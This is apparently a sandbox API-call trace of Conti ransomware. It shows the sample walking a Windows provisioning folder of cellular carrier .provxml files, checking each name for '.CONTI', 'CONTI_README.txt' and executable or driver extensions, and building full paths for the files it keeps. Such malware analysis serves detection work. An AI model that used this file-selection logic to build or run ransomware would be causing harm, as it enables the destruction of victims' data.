	[0107.488] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2df, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", cAlternateFileName="162__C~1.PRO")) returned 1
	[0107.488] lstrcmpiW (lpString1="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.488] lstrcmpiW (lpString1="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.488] StrStrIW (lpFirst="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.488] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.488] lstrlenW (lpString="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml") returned 74
	[0107.488] GetProcessHeap () returned 0x1720000
	[0107.488] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x17d1268
	[0107.488] lstrcpyW (in: lpString1=0x17d1268, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.488] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.488] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml"
	[0107.489] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="163__C~1.PRO")) returned 1
	[0107.489] lstrcmpiW (lpString1="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0107.489] lstrcmpiW (lpString1="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.489] StrStrIW (lpFirst="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.489] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.489] lstrlenW (lpString="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0107.489] GetProcessHeap () returned 0x1720000
	[0107.489] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x181e860
	[0107.489] lstrcpyW (in: lpString1=0x181e860, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.489] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.489] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="164__C~1.PRO")) returned 1
	[0107.489] lstrcmpiW (lpString1="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.489] lstrcmpiW (lpString1="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.489] StrStrIW (lpFirst="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.489] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.490] lstrlenW (lpString="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml") returned 73
	[0107.490] GetProcessHeap () returned 0x1720000
	[0107.490] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x181d880
	[0107.490] lstrcpyW (in: lpString1=0x181d880, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.490] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.490] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml"
	[0107.490] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="165__C~1.PRO")) returned 1
	[0107.490] lstrcmpiW (lpString1="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.490] lstrcmpiW (lpString1="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.490] StrStrIW (lpFirst="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.490] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.490] lstrlenW (lpString="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml") returned 67
	[0107.490] GetProcessHeap () returned 0x1720000
	[0107.490] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589c88
	[0107.491] lstrcpyW (in: lpString1=0x6589c88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml"
	[0107.491] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9064e061, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9064e061, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9064e061, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", cAlternateFileName="166__C~1.PRO")) returned 1
	[0107.491] lstrcmpiW (lpString1="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.491] lstrcmpiW (lpString1="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.491] StrStrIW (lpFirst="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.491] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.491] lstrlenW (lpString="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml") returned 67
	[0107.491] GetProcessHeap () returned 0x1720000
	[0107.491] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6587f10
	[0107.491] lstrcpyW (in: lpString1=0x6587f10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.491] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml"
	[0107.491] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="167__C~1.PRO")) returned 1
	[0107.491] lstrcmpiW (lpString1="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.491] lstrcmpiW (lpString1="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.491] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.492] StrStrIW (lpFirst="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.492] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.492] lstrlenW (lpString="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml") returned 72
	[0107.492] GetProcessHeap () returned 0x1720000
	[0107.492] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x181d9d8
	[0107.492] lstrcpyW (in: lpString1=0x181d9d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.492] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml"
	[0107.492] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906742d4, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906742d4, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906742d4, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", cAlternateFileName="168__C~1.PRO")) returned 1
	[0107.492] lstrcmpiW (lpString1="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.492] lstrcmpiW (lpString1="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.492] StrStrIW (lpFirst="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.492] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.492] lstrlenW (lpString="168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml") returned 66
	[0107.492] GetProcessHeap () returned 0x1720000
	[0107.492] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6588058
	[0107.492] lstrcpyW (in: lpString1=0x6588058, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
